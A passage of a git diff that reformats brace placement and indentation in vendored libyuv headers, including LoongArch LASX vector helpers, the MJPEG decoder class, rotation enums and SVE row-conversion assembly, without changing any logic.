__lasx_xvdp2_w_hu_h(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvmulwev_w_hu_h(in_h, in_l); - out = __lasx_xvmaddwod_w_hu_h(out, in_h, in_l); - return out; + out = __lasx_xvmulwev_w_hu_h(in_h, in_l); + out = __lasx_xvmaddwod_w_hu_h(out, in_h, in_l); + return out; } /* @@ -833,13 +849,14 @@ static inline __m256i __lasx_xvdp2_w_hu_h(__m256i in_h, __m256i in_l) { * ============================================================================= */ static inline __m256i __lasx_xvdp2add_h_b(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i out; + __m256i in_h, + __m256i in_l) +{ + __m256i out; - out = __lasx_xvmaddwev_h_b(in_c, in_h, in_l); - out = __lasx_xvmaddwod_h_b(out, in_h, in_l); - return out; + out = __lasx_xvmaddwev_h_b(in_c, in_h, in_l); + out = __lasx_xvmaddwod_h_b(out, in_h, in_l); + return out; } /* @@ -857,13 +874,14 @@ static inline __m256i __lasx_xvdp2add_h_b(__m256i in_c, * ============================================================================= */ static inline __m256i __lasx_xvdp2add_h_bu(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i out; + __m256i in_h, + __m256i in_l) +{ + __m256i out; - out = __lasx_xvmaddwev_h_bu(in_c, in_h, in_l); - out = __lasx_xvmaddwod_h_bu(out, in_h, in_l); - return out; + out = __lasx_xvmaddwev_h_bu(in_c, in_h, in_l); + out = __lasx_xvmaddwod_h_bu(out, in_h, in_l); + return out; } /* @@ -881,13 +899,14 @@ static inline __m256i __lasx_xvdp2add_h_bu(__m256i in_c, * ============================================================================= */ static inline __m256i __lasx_xvdp2add_h_bu_b(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i out; + __m256i in_h, + __m256i in_l) +{ + __m256i out; - out = __lasx_xvmaddwev_h_bu_b(in_c, in_h, in_l); - out = __lasx_xvmaddwod_h_bu_b(out, in_h, in_l); - return out; + out = __lasx_xvmaddwev_h_bu_b(in_c, in_h, in_l); + out = __lasx_xvmaddwod_h_bu_b(out, in_h, in_l); + return out; } /* @@ -909,13 +928,14 @@ static inline __m256i __lasx_xvdp2add_h_bu_b(__m256i in_c, * ============================================================================= */ static inline __m256i __lasx_xvdp2add_w_h(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i out; + __m256i in_h, + __m256i in_l) +{ + __m256i out; - out = __lasx_xvmaddwev_w_h(in_c, in_h, in_l); - out = __lasx_xvmaddwod_w_h(out, in_h, in_l); - return out; + out = __lasx_xvmaddwev_w_h(in_c, in_h, in_l); + out = __lasx_xvmaddwod_w_h(out, in_h, in_l); + return out; } /* @@ -933,13 +953,14 @@ static inline __m256i __lasx_xvdp2add_w_h(__m256i in_c, * ============================================================================= */ static inline __m256i __lasx_xvdp2add_w_hu(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i out; + __m256i in_h, + __m256i in_l) +{ + __m256i out; - out = __lasx_xvmaddwev_w_hu(in_c, in_h, in_l); - out = __lasx_xvmaddwod_w_hu(out, in_h, in_l); - return out; + out = __lasx_xvmaddwev_w_hu(in_c, in_h, in_l); + out = __lasx_xvmaddwod_w_hu(out, in_h, in_l); + return out; } /* @@ -957,13 +978,14 @@ static inline __m256i __lasx_xvdp2add_w_hu(__m256i in_c, * ============================================================================= */ static inline __m256i __lasx_xvdp2add_w_hu_h(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i out; + __m256i in_h, + __m256i in_l) +{ + __m256i out; - out = __lasx_xvmaddwev_w_hu_h(in_c, in_h, in_l); - out = __lasx_xvmaddwod_w_hu_h(out, in_h, in_l); - return out; + out = __lasx_xvmaddwev_w_hu_h(in_c, in_h, in_l); + out = __lasx_xvmaddwod_w_hu_h(out, in_h, in_l); + return out; } /* @@ -982,14 +1004,15 @@ static inline __m256i __lasx_xvdp2add_w_hu_h(__m256i in_c, * ============================================================================= */ static inline __m256i __lasx_xvdp2sub_h_bu(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i out; + __m256i in_h, + __m256i in_l) +{ + __m256i out; - out = __lasx_xvmulwev_h_bu(in_h, in_l); - out = __lasx_xvmaddwod_h_bu(out, in_h, in_l); - out = __lasx_xvsub_h(in_c, out); - return out; + out = __lasx_xvmulwev_h_bu(in_h, in_l); + out = __lasx_xvmaddwod_h_bu(out, in_h, in_l); + out = __lasx_xvsub_h(in_c, out); + return out; } /* @@ -1012,14 +1035,15 @@ static inline __m256i __lasx_xvdp2sub_h_bu(__m256i in_c, * ============================================================================= */ static inline __m256i __lasx_xvdp2sub_w_h(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i out; + __m256i in_h, + __m256i in_l) +{ + __m256i out; - out = __lasx_xvmulwev_w_h(in_h, in_l); - out = __lasx_xvmaddwod_w_h(out, in_h, in_l); - out = __lasx_xvsub_w(in_c, out); - return out; + out = __lasx_xvmulwev_w_h(in_h, in_l); + out = __lasx_xvmaddwod_w_h(out, in_h, in_l); + out = __lasx_xvsub_w(in_c, out); + return out; } /* @@ -1039,13 +1063,14 @@ static inline __m256i __lasx_xvdp2sub_w_h(__m256i in_c, * out : -2,0,1,1 * ============================================================================= */ -static inline __m256i __lasx_xvdp4_d_h(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvdp4_d_h(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvmulwev_w_h(in_h, in_l); - out = __lasx_xvmaddwod_w_h(out, in_h, in_l); - out = __lasx_xvhaddw_d_w(out, out); - return out; + out = __lasx_xvmulwev_w_h(in_h, in_l); + out = __lasx_xvmaddwod_w_h(out, in_h, in_l); + out = __lasx_xvhaddw_d_w(out, out); + return out; } /* @@ -1060,12 +1085,13 @@ static inline __m256i __lasx_xvdp4_d_h(__m256i in_h, __m256i in_l) { * Example : See out = __lasx_xvaddwh_w_h(in_h, in_l) * ============================================================================= */ -static inline __m256i __lasx_xvaddwh_h_b(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvaddwh_h_b(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvilvh_b(in_h, in_l); - out = __lasx_xvhaddw_h_b(out, out); - return out; + out = __lasx_xvilvh_b(in_h, in_l); + out = __lasx_xvhaddw_h_b(out, out); + return out; } /* @@ -1083,12 +1109,13 @@ static inline __m256i __lasx_xvaddwh_h_b(__m256i in_h, __m256i in_l) { * out : 1,0,0,-1, 1,0,0, 2 * ============================================================================= */ -static inline __m256i __lasx_xvaddwh_w_h(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvaddwh_w_h(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvilvh_h(in_h, in_l); - out = __lasx_xvhaddw_w_h(out, out); - return out; + out = __lasx_xvilvh_h(in_h, in_l); + out = __lasx_xvhaddw_w_h(out, out); + return out; } /* @@ -1103,12 +1130,13 @@ static inline __m256i __lasx_xvaddwh_w_h(__m256i in_h, __m256i in_l) { * Example : See out = __lasx_xvaddwl_w_h(in_h, in_l) * ============================================================================= */ -static inline __m256i __lasx_xvaddwl_h_b(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvaddwl_h_b(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvilvl_b(in_h, in_l); - out = __lasx_xvhaddw_h_b(out, out); - return out; + out = __lasx_xvilvl_b(in_h, in_l); + out = __lasx_xvhaddw_h_b(out, out); + return out; } /* @@ -1126,12 +1154,13 @@ static inline __m256i __lasx_xvaddwl_h_b(__m256i in_h, __m256i in_l) { * out : 5,-1,4,2, 1,0,2,-1 * ============================================================================= */ -static inline __m256i __lasx_xvaddwl_w_h(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvaddwl_w_h(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvilvl_h(in_h, in_l); - out = __lasx_xvhaddw_w_h(out, out); - return out; + out = __lasx_xvilvl_h(in_h, in_l); + out = __lasx_xvhaddw_w_h(out, out); + return out; } /* @@ -1146,12 +1175,13 @@ static inline __m256i __lasx_xvaddwl_w_h(__m256i in_h, __m256i in_l) { * Example : See out = __lasx_xvaddwl_w_h(in_h, in_l) * ============================================================================= */ -static inline __m256i __lasx_xvaddwl_h_bu(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvaddwl_h_bu(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvilvl_b(in_h, in_l); - out = __lasx_xvhaddw_hu_bu(out, out); - return out; + out = __lasx_xvilvl_b(in_h, in_l); + out = __lasx_xvhaddw_hu_bu(out, out); + return out; } /* @@ -1165,12 +1195,13 @@ static inline __m256i __lasx_xvaddwl_h_bu(__m256i in_h, __m256i in_l) { * Example : See out = __lasx_xvaddw_w_w_h(in_h, in_l) * ============================================================================= */ -static inline __m256i __lasx_xvaddw_h_h_bu(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvaddw_h_h_bu(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvsllwil_hu_bu(in_l, 0); - out = __lasx_xvadd_h(in_h, out); - return out; + out = __lasx_xvsllwil_hu_bu(in_l, 0); + out = __lasx_xvadd_h(in_h, out); + return out; } /* @@ -1187,12 +1218,13 @@ static inline __m256i __lasx_xvaddw_h_h_bu(__m256i in_h, __m256i in_l) { * out : 2, 0,1,2, -1,0,1,1, * ============================================================================= */ -static inline __m256i __lasx_xvaddw_w_w_h(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvaddw_w_w_h(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvsllwil_w_h(in_l, 0); - out = __lasx_xvadd_w(in_h, out); - return out; + out = __lasx_xvsllwil_w_h(in_l, 0); + out = __lasx_xvadd_w(in_h, out); + return out; } /* @@ -1214,15 +1246,16 @@ static inline __m256i __lasx_xvaddw_w_w_h(__m256i in_h, __m256i in_l) { * ============================================================================= */ static inline __m256i __lasx_xvmaddwl_w_h(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i tmp0, tmp1, out; + __m256i in_h, + __m256i in_l) +{ + __m256i tmp0, tmp1, out; - tmp0 = __lasx_xvsllwil_w_h(in_h, 0); - tmp1 = __lasx_xvsllwil_w_h(in_l, 0); - tmp0 = __lasx_xvmul_w(tmp0, tmp1); - out = __lasx_xvadd_w(tmp0, in_c); - return out; + tmp0 = __lasx_xvsllwil_w_h(in_h, 0); + tmp1 = __lasx_xvsllwil_w_h(in_l, 0); + tmp0 = __lasx_xvmul_w(tmp0, tmp1); + out = __lasx_xvadd_w(tmp0, in_c); + return out; } /* @@ -1239,15 +1272,16 @@ static inline __m256i __lasx_xvmaddwl_w_h(__m256i in_c, * ============================================================================= */ static inline __m256i __lasx_xvmaddwh_w_h(__m256i in_c, - __m256i in_h, - __m256i in_l) { - __m256i tmp0, tmp1, out; + __m256i in_h, + __m256i in_l) +{ + __m256i tmp0, tmp1, out; - tmp0 = __lasx_xvilvh_h(in_h, in_h); - tmp1 = __lasx_xvilvh_h(in_l, in_l); - tmp0 = __lasx_xvmulwev_w_h(tmp0, tmp1); - out = __lasx_xvadd_w(tmp0, in_c); - return out; + tmp0 = __lasx_xvilvh_h(in_h, in_h); + tmp1 = __lasx_xvilvh_h(in_l, in_l); + tmp0 = __lasx_xvmulwev_w_h(tmp0, tmp1); + out = __lasx_xvadd_w(tmp0, in_c); + return out; } /* @@ -1265,13 +1299,14 @@ static inline __m256i __lasx_xvmaddwh_w_h(__m256i in_c, * out : 6,1,3,0, 0,0,1,0 * ============================================================================= */ -static inline __m256i __lasx_xvmulwl_w_h(__m256i in_h, __m256i in_l) { - __m256i tmp0, tmp1, out; +static inline __m256i __lasx_xvmulwl_w_h(__m256i in_h, __m256i in_l) +{ + __m256i tmp0, tmp1, out; - tmp0 = __lasx_xvsllwil_w_h(in_h, 0); - tmp1 = __lasx_xvsllwil_w_h(in_l, 0); - out = __lasx_xvmul_w(tmp0, tmp1); - return out; + tmp0 = __lasx_xvsllwil_w_h(in_h, 0); + tmp1 = __lasx_xvsllwil_w_h(in_l, 0); + out = __lasx_xvmul_w(tmp0, tmp1); + return out; } /* @@ -1289,13 +1324,14 @@ static inline __m256i __lasx_xvmulwl_w_h(__m256i in_h, __m256i in_l) { * out : 0,0,0,0, 0,0,0,1 * ============================================================================= */ -static inline __m256i __lasx_xvmulwh_w_h(__m256i in_h, __m256i in_l) { - __m256i tmp0, tmp1, out; +static inline __m256i __lasx_xvmulwh_w_h(__m256i in_h, __m256i in_l) +{ + __m256i tmp0, tmp1, out; - tmp0 = __lasx_xvilvh_h(in_h, in_h); - tmp1 = __lasx_xvilvh_h(in_l, in_l); - out = __lasx_xvmulwev_w_h(tmp0, tmp1); - return out; + tmp0 = __lasx_xvilvh_h(in_h, in_h); + tmp1 = __lasx_xvilvh_h(in_l, in_l); + out = __lasx_xvmulwev_w_h(tmp0, tmp1); + return out; } /* @@ -1315,13 +1351,14 @@ static inline __m256i __lasx_xvmulwh_w_h(__m256i in_h, __m256i in_l) { * out : 5,65535,4,2, 1,0,0,1, 3,18,4,0, 1,0,0,2, * ============================================================================= */ -static inline __m256i __lasx_xvsaddw_hu_hu_bu(__m256i in_h, __m256i in_l) { - __m256i tmp1, out; - __m256i zero = {0}; +static inline __m256i __lasx_xvsaddw_hu_hu_bu(__m256i in_h, __m256i in_l) +{ + __m256i tmp1, out; + __m256i zero = {0}; - tmp1 = __lasx_xvilvl_b(zero, in_l); - out = __lasx_xvsadd_hu(in_h, tmp1); - return out; + tmp1 = __lasx_xvilvl_b(zero, in_l); + out = __lasx_xvsadd_hu(in_h, tmp1); + return out; } /* @@ -1340,12 +1377,13 @@ static inline __m256i __lasx_xvsaddw_hu_hu_bu(__m256i in_h, __m256i in_l) { * out : 1,2,9,9, 1,9,9,9, 4,4,4,4, 5,5,5,5 * ============================================================================= */ -static inline __m256i __lasx_xvclip_h(__m256i in, __m256i min, __m256i max) { - __m256i out; +static inline __m256i __lasx_xvclip_h(__m256i in, __m256i min, __m256i max) +{ + __m256i out; - out = __lasx_xvmax_h(min, in); - out = __lasx_xvmin_h(max, out); - return out; + out = __lasx_xvmax_h(min, in); + out = __lasx_xvmin_h(max, out); + return out; } /* @@ -1358,12 +1396,13 @@ static inline __m256i __lasx_xvclip_h(__m256i in, __m256i min, __m256i max) { * Example : See out = __lasx_xvclip255_w(in) * ============================================================================= */ -static inline __m256i __lasx_xvclip255_h(__m256i in) { - __m256i out; +static inline __m256i __lasx_xvclip255_h(__m256i in) +{ + __m256i out; - out = __lasx_xvmaxi_h(in, 0); - out = __lasx_xvsat_hu(out, 7); - return out; + out = __lasx_xvmaxi_h(in, 0); + out = __lasx_xvsat_hu(out, 7); + return out; } /* @@ -1378,12 +1417,13 @@ static inline __m256i __lasx_xvclip255_h(__m256i in) { * out : 0,255,255,249, 0,255,255,249 * ============================================================================= */ -static inline __m256i __lasx_xvclip255_w(__m256i in) { - __m256i out; +static inline __m256i __lasx_xvclip255_w(__m256i in) +{ + __m256i out; - out = __lasx_xvmaxi_w(in, 0); - out = __lasx_xvsat_wu(out, 7); - return out; + out = __lasx_xvmaxi_w(in, 0); + out = __lasx_xvsat_wu(out, 7); + return out; } /* @@ -1402,12 +1442,13 @@ static inline __m256i __lasx_xvclip255_w(__m256i in) { * out : 11,11,11,11, 11,11,11,11, 11,11,11,11, 11,11,11,11 * ============================================================================= */ -static inline __m256i __lasx_xvsplati_l_h(__m256i in, int idx) { - __m256i out; +static inline __m256i __lasx_xvsplati_l_h(__m256i in, int idx) +{ + __m256i out; - out = __lasx_xvpermi_q(in, in, 0x02); - out = __lasx_xvreplve_h(out, idx); - return out; + out = __lasx_xvpermi_q(in, in, 0x02); + out = __lasx_xvreplve_h(out, idx); + return out; } /* @@ -1426,12 +1467,13 @@ static inline __m256i __lasx_xvsplati_l_h(__m256i in, int idx) { * out : 2,2,2,2, 2,2,2,2, 2,2,2,2, 2,2,2,2 * ============================================================================= */ -static inline __m256i __lasx_xvsplati_h_h(__m256i in, int idx) { - __m256i out; +static inline __m256i __lasx_xvsplati_h_h(__m256i in, int idx) +{ + __m256i out; - out = __lasx_xvpermi_q(in, in, 0x13); - out = __lasx_xvreplve_h(out, idx); - return out; + out = __lasx_xvpermi_q(in, in, 0x13); + out = __lasx_xvreplve_h(out, idx); + return out; } /* diff --git a/compress/libyuv/libyuv/mjpeg_decoder.h b/compress/libyuv/libyuv/mjpeg_decoder.h index 275f8d4..41c4bb6 100644 --- a/compress/libyuv/libyuv/mjpeg_decoder.h +++ b/compress/libyuv/libyuv/mjpeg_decoder.h @@ -20,7 +20,8 @@ struct jpeg_common_struct; struct jpeg_decompress_struct; struct jpeg_source_mgr; -namespace libyuv { +namespace libyuv +{ #ifdef __cplusplus extern "C" { @@ -35,22 +36,22 @@ LIBYUV_BOOL ValidateJpeg(const uint8_t* sample, size_t sample_size); static const uint32_t kUnknownDataSize = 0xFFFFFFFF; enum JpegSubsamplingType { - kJpegYuv420, - kJpegYuv422, - kJpegYuv444, - kJpegYuv400, - kJpegUnknown +kJpegYuv420, +kJpegYuv422, +kJpegYuv444, +kJpegYuv400, +kJpegUnknown }; struct Buffer { - const uint8_t* data; - int len; +const uint8_t* data; +int len; }; struct BufferVector { - Buffer* buffers; - int len; - int pos; +Buffer* buffers; +int len; +int pos; }; struct SetJmpErrorMgr; @@ -62,131 +63,132 @@ struct SetJmpErrorMgr; // MJPEG frames. // // See http://tools.ietf.org/html/rfc2435 -class LIBYUV_API MJpegDecoder { - public: - typedef void (*CallbackFunction)(void* opaque, - const uint8_t* const* data, - const int* strides, - int rows); +class LIBYUV_API MJpegDecoder +{ +public: +typedef void (*CallbackFunction)(void* opaque, + const uint8_t* const* data, + const int* strides, + int rows); - static const int kColorSpaceUnknown; - static const int kColorSpaceGrayscale; - static const int kColorSpaceRgb; - static const int kColorSpaceYCbCr; - static const int kColorSpaceCMYK; - static const int kColorSpaceYCCK; +static const int kColorSpaceUnknown; +static const int kColorSpaceGrayscale; +static const int kColorSpaceRgb; +static const int kColorSpaceYCbCr; +static const int kColorSpaceCMYK; +static const int kColorSpaceYCCK; - MJpegDecoder(); - ~MJpegDecoder(); +MJpegDecoder(); +~MJpegDecoder(); - // Loads a new frame, reads its headers, and determines the uncompressed - // image format. - // Returns LIBYUV_TRUE if image looks valid and format is supported. - // If return value is LIBYUV_TRUE, then the values for all the following - // getters are populated. - // src_len is the size of the compressed mjpeg frame in bytes. - LIBYUV_BOOL LoadFrame(const uint8_t* src, size_t src_len); +// Loads a new frame, reads its headers, and determines the uncompressed +// image format. +// Returns LIBYUV_TRUE if image looks valid and format is supported. +// If return value is LIBYUV_TRUE, then the values for all the following +// getters are populated. +// src_len is the size of the compressed mjpeg frame in bytes. +LIBYUV_BOOL LoadFrame(const uint8_t* src, size_t src_len); - // Returns width of the last loaded frame in pixels. - int GetWidth(); +// Returns width of the last loaded frame in pixels. +int GetWidth(); - // Returns height of the last loaded frame in pixels. - int GetHeight(); +// Returns height of the last loaded frame in pixels. +int GetHeight(); - // Returns format of the last loaded frame. The return value is one of the - // kColorSpace* constants. - int GetColorSpace(); +// Returns format of the last loaded frame. The return value is one of the +// kColorSpace* constants. +int GetColorSpace(); - // Number of color components in the color space. - int GetNumComponents(); +// Number of color components in the color space. +int GetNumComponents(); - // Sample factors of the n-th component. - int GetHorizSampFactor(int component); +// Sample factors of the n-th component. +int GetHorizSampFactor(int component); - int GetVertSampFactor(int component); +int GetVertSampFactor(int component); - int GetHorizSubSampFactor(int component); +int GetHorizSubSampFactor(int component); - int GetVertSubSampFactor(int component); +int GetVertSubSampFactor(int component); - // Public for testability. - int GetImageScanlinesPerImcuRow(); +// Public for testability. +int GetImageScanlinesPerImcuRow(); - // Public for testability. - int GetComponentScanlinesPerImcuRow(int component); +// Public for testability. +int GetComponentScanlinesPerImcuRow(int component); - // Width of a component in bytes. - int GetComponentWidth(int component); +// Width of a component in bytes. +int GetComponentWidth(int component); - // Height of a component. - int GetComponentHeight(int component); +// Height of a component. +int GetComponentHeight(int component); - // Width of a component in bytes with padding for DCTSIZE. Public for testing. - int GetComponentStride(int component); +// Width of a component in bytes with padding for DCTSIZE. Public for testing. +int GetComponentStride(int component); - // Size of a component in bytes. - int GetComponentSize(int component); +// Size of a component in bytes. +int GetComponentSize(int component); - // Call this after LoadFrame() if you decide you don't want to decode it - // after all. - LIBYUV_BOOL UnloadFrame(); +// Call this after LoadFrame() if you decide you don't want to decode it +// after all. +LIBYUV_BOOL UnloadFrame(); - // Decodes the entire image into a one-buffer-per-color-component format. - // dst_width must match exactly. dst_height must be <= to image height; if - // less, the image is cropped. "planes" must have size equal to at least - // GetNumComponents() and they must point to non-overlapping buffers of size - // at least GetComponentSize(i). The pointers in planes are incremented - // to point to after the end of the written data. - // TODO(fbarchard): Add dst_x, dst_y to allow specific rect to be decoded. - LIBYUV_BOOL DecodeToBuffers(uint8_t** planes, int dst_width, int dst_height); +// Decodes the entire image into a one-buffer-per-color-component format. +// dst_width must match exactly. dst_height must be <= to image height; if +// less, the image is cropped. "planes" must have size equal to at least +// GetNumComponents() and they must point to non-overlapping buffers of size +// at least GetComponentSize(i). The pointers in planes are incremented +// to point to after the end of the written data. +// TODO(fbarchard): Add dst_x, dst_y to allow specific rect to be decoded. +LIBYUV_BOOL DecodeToBuffers(uint8_t** planes, int dst_width, int dst_height); - // Decodes the entire image and passes the data via repeated calls to a - // callback function. Each call will get the data for a whole number of - // image scanlines. - // TODO(fbarchard): Add dst_x, dst_y to allow specific rect to be decoded. - LIBYUV_BOOL DecodeToCallback(CallbackFunction fn, - void* opaque, - int dst_width, - int dst_height); +// Decodes the entire image and passes the data via repeated calls to a +// callback function. Each call will get the data for a whole number of +// image scanlines. +// TODO(fbarchard): Add dst_x, dst_y to allow specific rect to be decoded. +LIBYUV_BOOL DecodeToCallback(CallbackFunction fn, + void* opaque, + int dst_width, + int dst_height); - // The helper function which recognizes the jpeg sub-sampling type. - static JpegSubsamplingType JpegSubsamplingTypeHelper( - int* subsample_x, - int* subsample_y, - int number_of_components); +// The helper function which recognizes the jpeg sub-sampling type. +static JpegSubsamplingType JpegSubsamplingTypeHelper( + int* subsample_x, + int* subsample_y, + int number_of_components); - private: - void AllocOutputBuffers(int num_outbufs); - void DestroyOutputBuffers(); +private: +void AllocOutputBuffers(int num_outbufs); +void DestroyOutputBuffers(); - LIBYUV_BOOL StartDecode(); - LIBYUV_BOOL FinishDecode(); +LIBYUV_BOOL StartDecode(); +LIBYUV_BOOL FinishDecode(); - void SetScanlinePointers(uint8_t** data); - LIBYUV_BOOL DecodeImcuRow(); +void SetScanlinePointers(uint8_t** data); +LIBYUV_BOOL DecodeImcuRow(); - int GetComponentScanlinePadding(int component); +int GetComponentScanlinePadding(int component); - // A buffer holding the input data for a frame. - Buffer buf_; - BufferVector buf_vec_; +// A buffer holding the input data for a frame. +Buffer buf_; +BufferVector buf_vec_; - jpeg_decompress_struct* decompress_struct_; - jpeg_source_mgr* source_mgr_; - SetJmpErrorMgr* error_mgr_; +jpeg_decompress_struct* decompress_struct_; +jpeg_source_mgr* source_mgr_; +SetJmpErrorMgr* error_mgr_; - // LIBYUV_TRUE iff at least one component has scanline padding. (i.e., - // GetComponentScanlinePadding() != 0.) - LIBYUV_BOOL has_scanline_padding_; +// LIBYUV_TRUE iff at least one component has scanline padding. (i.e., +// GetComponentScanlinePadding() != 0.) +LIBYUV_BOOL has_scanline_padding_; - // Temporaries used to point to scanline outputs. - int num_outbufs_; // Outermost size of all arrays below. - uint8_t*** scanlines_; - int* scanlines_sizes_; - // Temporary buffer used for decoding when we can't decode directly to the - // output buffers. Large enough for just one iMCU row. - uint8_t** databuf_; - int* databuf_strides_; +// Temporaries used to point to scanline outputs. +int num_outbufs_; // Outermost size of all arrays below. +uint8_t*** scanlines_; +int* scanlines_sizes_; +// Temporary buffer used for decoding when we can't decode directly to the +// output buffers. Large enough for just one iMCU row. +uint8_t** databuf_; +int* databuf_strides_; }; } // namespace libyuv diff --git a/compress/libyuv/libyuv/planar_functions.h b/compress/libyuv/libyuv/planar_functions.h index 5b79eff..c261f6c 100644 --- a/compress/libyuv/libyuv/planar_functions.h +++ b/compress/libyuv/libyuv/planar_functions.h @@ -18,7 +18,8 @@ #include "libyuv/convert_argb.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/rotate.h b/compress/libyuv/libyuv/rotate.h index 37460c4..b9bcfd9 100644 --- a/compress/libyuv/libyuv/rotate.h +++ b/compress/libyuv/libyuv/rotate.h @@ -14,21 +14,22 @@ #include "libyuv/basic_types.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif // Supported rotation. typedef enum RotationMode { - kRotate0 = 0, // No rotation. - kRotate90 = 90, // Rotate 90 degrees clockwise. - kRotate180 = 180, // Rotate 180 degrees. - kRotate270 = 270, // Rotate 270 degrees clockwise. + kRotate0 = 0, // No rotation. + kRotate90 = 90, // Rotate 90 degrees clockwise. + kRotate180 = 180, // Rotate 180 degrees. + kRotate270 = 270, // Rotate 270 degrees clockwise. - // Deprecated. - kRotateNone = 0, - kRotateClockwise = 90, - kRotateCounterClockwise = 270, + // Deprecated. + kRotateNone = 0, + kRotateClockwise = 90, + kRotateCounterClockwise = 270, } RotationModeEnum; // Rotate I420 frame. diff --git a/compress/libyuv/libyuv/rotate_argb.h b/compress/libyuv/libyuv/rotate_argb.h index 2043294..1a097df 100644 --- a/compress/libyuv/libyuv/rotate_argb.h +++ b/compress/libyuv/libyuv/rotate_argb.h @@ -15,7 +15,8 @@ #include "libyuv/rotate.h" // For RotationMode. #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/rotate_row.h b/compress/libyuv/libyuv/rotate_row.h index bbf217f..9956a61 100644 --- a/compress/libyuv/libyuv/rotate_row.h +++ b/compress/libyuv/libyuv/rotate_row.h @@ -15,7 +15,8 @@ #include "libyuv/cpu_support.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/row.h b/compress/libyuv/libyuv/row.h index 7fce069..3f7033b 100644 --- a/compress/libyuv/libyuv/row.h +++ b/compress/libyuv/libyuv/row.h @@ -18,7 +18,8 @@ #include "libyuv/cpu_support.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif @@ -1005,17 +1006,17 @@ typedef uint8_t ulvec8[32]; #if defined(__aarch64__) || defined(__arm__) || defined(__riscv) // This struct is for ARM and RISC-V color conversion. struct YuvConstants { - uvec8 kUVCoeff; - vec16 kRGBCoeffBias; + uvec8 kUVCoeff; + vec16 kRGBCoeffBias; }; #else // This struct is for Intel color conversion. struct YuvConstants { - uint8_t kUVToB[32]; - uint8_t kUVToG[32]; - uint8_t kUVToR[32]; - int16_t kYToRgb[16]; - int16_t kYBiasToRgb[16]; + uint8_t kUVToB[32]; + uint8_t kUVToG[32]; + uint8_t kUVToR[32]; + int16_t kYToRgb[16]; + int16_t kYBiasToRgb[16]; }; // Offsets into YuvConstants structure diff --git a/compress/libyuv/libyuv/row_sve.h b/compress/libyuv/libyuv/row_sve.h index b52a38a..45a411d 100644 --- a/compress/libyuv/libyuv/row_sve.h +++ b/compress/libyuv/libyuv/row_sve.h @@ -14,7 +14,8 @@ #include "libyuv/row.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif @@ -24,10 +25,10 @@ extern "C" { defined(__aarch64__) #define STREAMING_COMPATIBLE __arm_streaming_compatible #else // defined(LIBYUV_DISABLE_SME) || !defined(CLANG_HAS_SME) || - // !defined(__aarch64__) +// !defined(__aarch64__) #define STREAMING_COMPATIBLE #endif // !defined(LIBYUV_DISABLE_SME) && defined(CLANG_HAS_SME) && - // defined(__aarch64__) +// defined(__aarch64__) #define YUVTORGB_SVE_SETUP \ "ld1rb {z28.b}, p0/z, [%[kUVCoeff], #0] \n" \ @@ -322,47 +323,47 @@ static inline void I400ToARGBRow_SVE_SC(const uint8_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm volatile( - "cnth %[vl] \n" - "ptrue p0.b \n" - "dup z19.b, #255 \n" // Alpha - YUVTORGB_SVE_SETUP - "cmp %w[width], %w[vl] \n" - "mov z1.h, #128 \n" // U/V - "umullb z6.h, z30.b, z1.b \n" - "umullb z4.h, z28.b, z1.b \n" // DB - "umullb z5.h, z29.b, z1.b \n" // DR - "mla z6.h, p0/m, z31.h, z1.h \n" // DG - "sub z4.h, z4.h, z25.h \n" - "sub z5.h, z5.h, z27.h \n" - "sub z6.h, z26.h, z6.h \n" - "b.le 2f \n" + uint64_t vl; + asm volatile( + "cnth %[vl] \n" + "ptrue p0.b \n" + "dup z19.b, #255 \n" // Alpha + YUVTORGB_SVE_SETUP + "cmp %w[width], %w[vl] \n" + "mov z1.h, #128 \n" // U/V + "umullb z6.h, z30.b, z1.b \n" + "umullb z4.h, z28.b, z1.b \n" // DB + "umullb z5.h, z29.b, z1.b \n" // DR + "mla z6.h, p0/m, z31.h, z1.h \n" // DG + "sub z4.h, z4.h, z25.h \n" + "sub z5.h, z5.h, z27.h \n" + "sub z6.h, z26.h, z6.h \n" + "b.le 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "sub %w[width], %w[width], %w[vl] \n" - "1: \n" // - READYUV400_SVE I400TORGB_SVE RGBTOARGB8_SVE - "subs %w[width], 